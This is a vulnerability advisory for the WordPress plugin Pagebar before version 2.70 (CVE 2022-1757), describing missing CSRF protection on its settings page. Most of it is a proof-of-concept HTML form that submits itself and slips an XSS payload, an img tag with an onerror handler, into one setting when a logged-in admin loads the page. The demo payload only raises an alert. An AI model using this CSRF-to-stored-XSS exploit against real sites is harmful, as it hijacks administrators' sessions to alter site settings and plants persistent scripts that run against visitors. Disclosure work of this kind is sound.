Pagebar < 2.70 – Arbitrary Settings Update via CSRF to Stored XSS | CVE 2022-1757

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack. Furthermore, due to the lack of sanitisation in some of them, it could also lead to Stored XSS issues

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=pagebar_options.php" method="POST">
    <input type="text" name="option_page" value="pagebar-options">
    <input type="text" name="action" value="update">
    <input type="text" name="post_left" value="2">
    <input type="text" name="post_center" value="5">
    <input type="text" name="post_right" value="2">
    <input type="text" name="post_pbText" value='"><img src=x onerror=alert(/XSS/)>'>
    <input type="text" name="post_standard" value="{page}">
    <input type="text" name="post_current" value="{page}">
    <input type="text" name="post_first" value="{page}">
    <input type="text" name="post_last" value="{page}">
    <input type="text" name="post_connect" value="...">
    <input type="text" name="post_prev" value="Prev">
    <input type="text" name="post_pdisplay" value="never">
    <input type="text" name="post_next" value="Next">
    <input type="text" name="post_ndisplay" value="never">
    <input type="text" name="post_tooltipText" value="Page {page}">
    <input type="text" name="post_tooltips" value="on">
    <input type="text" name="post_auto" value="on">
    <input type="text" name="post_aft_loop" value="on">
    <input type="text" name="post_remove" value="on">
    <input type="text" name="post_stylesheet" value="styleCss">
    <input type="text" name="post_cssFilename" value="pagebar.css">
    <input type="text" name="pagebar2update" value="Optionen speichern">
    <input type="text" name="multipage_inherit" value="on">
    <input type="text" name="multipage_left" value="2">
    <input type="text" name="multipage_center" value="5">
    <input type="text" name="multipage_right" value="2">
    <input type="text" name="multipage_pbText" value="Pages:">
    <input type="text" name="multipage_standard" value="{page}">
    <input type="text" name="multipage_current" value="{page}">
    <input type="text" name="multipage_first" value="{page}">
    <input type="text" name="multipage_last" value="{page}">
    <input type="text" name="multipage_connect" value="...">
    <input type="text" name="multipage_prev" value="Prev">
    <input type="text" name="multipage_pdisplay" value="never">
    <input type="text" name="multipage_next" value="Next">
    <input type="text" name="multipage_ndisplay" value="never">
    <input type="text" name="multipage_tooltipText" value="Page {page}">
    <input type="text" name="multipage_tooltips" value="on">
    <input type="text" name="multipage_stylesheet" value="styleCss">
    <input type="text" name="multipage_cssFilename" value="pagebar.css">
    <input type="text" name="multipage_all" value="on">
    <input type="text" name="multipage_label_all" value="All">
    <input type="text" name="comment_inherit" value="on">
    <input type="text" name="comment_left" value="2">
    <input type="text" name="comment_center" value="5">
    <input type="text" name="comment_right" value="2">
    <input type="text" name="comment_pbText" value="Pages:">
    <input type="text" name="comment_standard" value="{page}">
    <input type="text" name="comment_current" value="{page}">
    <input type="text" name="comment_first" value="{page}">
    <input type="text" name="comment_last" value="{page}">
    <input type="text" name="comment_connect" value="...">
    <input type="text" name="comment_prev" value="Prev">
    <input type="text" name="comment_pdisplay" value="never">
    <input type="text" name="comment_next" value="Next">
    <input type="text" name="comment_ndisplay" value="never">
    <input type="text" name="comment_tooltipText" value="Page {page}">
    <input type="text" name="comment_tooltips" value="on">
    <input type="text" name="comment_stylesheet" value="styleCss">
    <input type="text" name="comment_cssFilename" value="pagebar.css">
</form>
<script>
    document.getElementById("test").submit();
</script>